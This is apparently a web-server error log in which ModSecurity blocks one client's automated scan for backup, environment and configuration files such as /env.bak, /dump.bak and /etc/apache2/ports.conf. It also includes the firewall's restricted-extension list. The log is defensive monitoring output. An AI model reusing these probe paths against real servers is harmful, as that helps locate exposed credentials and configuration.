[Sun Mar 01 20:26:08.502547 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/device.ini&quot;] [unique_id &quot;aaSS0JIifMrob6GYX-HTmQAAAAI&quot;]
[Sun Mar 01 20:26:08.684835 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dionaea/dionaea.conf&quot;] [unique_id &quot;aaSS0JIifMrob6GYX-HToQAAAAI&quot;]
[Sun Mar 01 20:26:08.685300 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dionaea/dionaea.conf&quot;] [unique_id &quot;aaSS0JIifMrob6GYX-HToQAAAAI&quot;]
[Sun Mar 01 20:26:08.685455 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dionaea/dionaea.conf&quot;] [unique_id &quot;aaSS0JIifMrob6GYX-HToQAAAAI&quot;]
[Sun Mar 01 20:26:09.255917 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.bak&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HTugAAAAI&quot;]
[Sun Mar 01 20:26:09.256409 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.bak&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HTugAAAAI&quot;]
[Sun Mar 01 20:26:09.256566 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.bak&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HTugAAAAI&quot;]
[Sun Mar 01 20:26:09.278506 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.old&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HTuwAAAAI&quot;]
[Sun Mar 01 20:26:09.278954 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.old&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HTuwAAAAI&quot;]
[Sun Mar 01 20:26:09.279102 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.old&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HTuwAAAAI&quot;]
[Sun Mar 01 20:26:09.552203 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/eeg/signal_config.ini&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HTxwAAAAI&quot;]
[Sun Mar 01 20:26:09.552685 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/eeg/signal_config.ini&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HTxwAAAAI&quot;]
[Sun Mar 01 20:26:09.552846 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/eeg/signal_config.ini&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HTxwAAAAI&quot;]
[Sun Mar 01 20:26:09.871282 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/options.ini&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HT1QAAAAI&quot;]
[Sun Mar 01 20:26:09.871784 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/options.ini&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HT1QAAAAI&quot;]
[Sun Mar 01 20:26:09.871942 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/options.ini&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HT1QAAAAI&quot;]
[Sun Mar 01 20:26:09.917200 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HT1wAAAAI&quot;]
[Sun Mar 01 20:26:09.917662 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HT1wAAAAI&quot;]
[Sun Mar 01 20:26:09.917809 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HT1wAAAAI&quot;]
[Sun Mar 01 20:26:09.962537 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.old&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HT2QAAAAI&quot;]
[Sun Mar 01 20:26:09.963023 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.old&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HT2QAAAAI&quot;]
[Sun Mar 01 20:26:09.963184 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.old&quot;] [unique_id &quot;aaSS0ZIifMrob6GYX-HT2QAAAAI&quot;]
[Sun Mar 01 20:26:10.215474 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/erp/accounting_rules.ini&quot;] [unique_id &quot;aaSS0pIifMrob6GYX-HT5AAAAAI&quot;]
[Sun Mar 01 20:26:10.215959 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/erp/accounting_rules.ini&quot;] [unique_id &quot;aaSS0pIifMrob6GYX-HT5AAAAAI&quot;]
[Sun Mar 01 20:26:10.216125 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/erp/accounting_rules.ini&quot;] [unique_id &quot;aaSS0pIifMrob6GYX-HT5AAAAAI&quot;]
[Sun Mar 01 20:26:10.446613 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/apache2/ports.conf&quot;] [unique_id &quot;aaSS0pIifMrob6GYX-HT7gAAAAI&quot;]
[Sun Mar 01 20:26:10.447169 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/apache2/ports.conf&quot;] [unique_id &quot;aaSS0pIifMrob6GYX-HT7gAAAAI&quot;]
[Sun Mar 01 20:26:10.447352 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/apache2/ports.conf&quot;] [unique_id &quot;aaSS0pIifMrob6GYX-HT7gAAAAI&quot;]
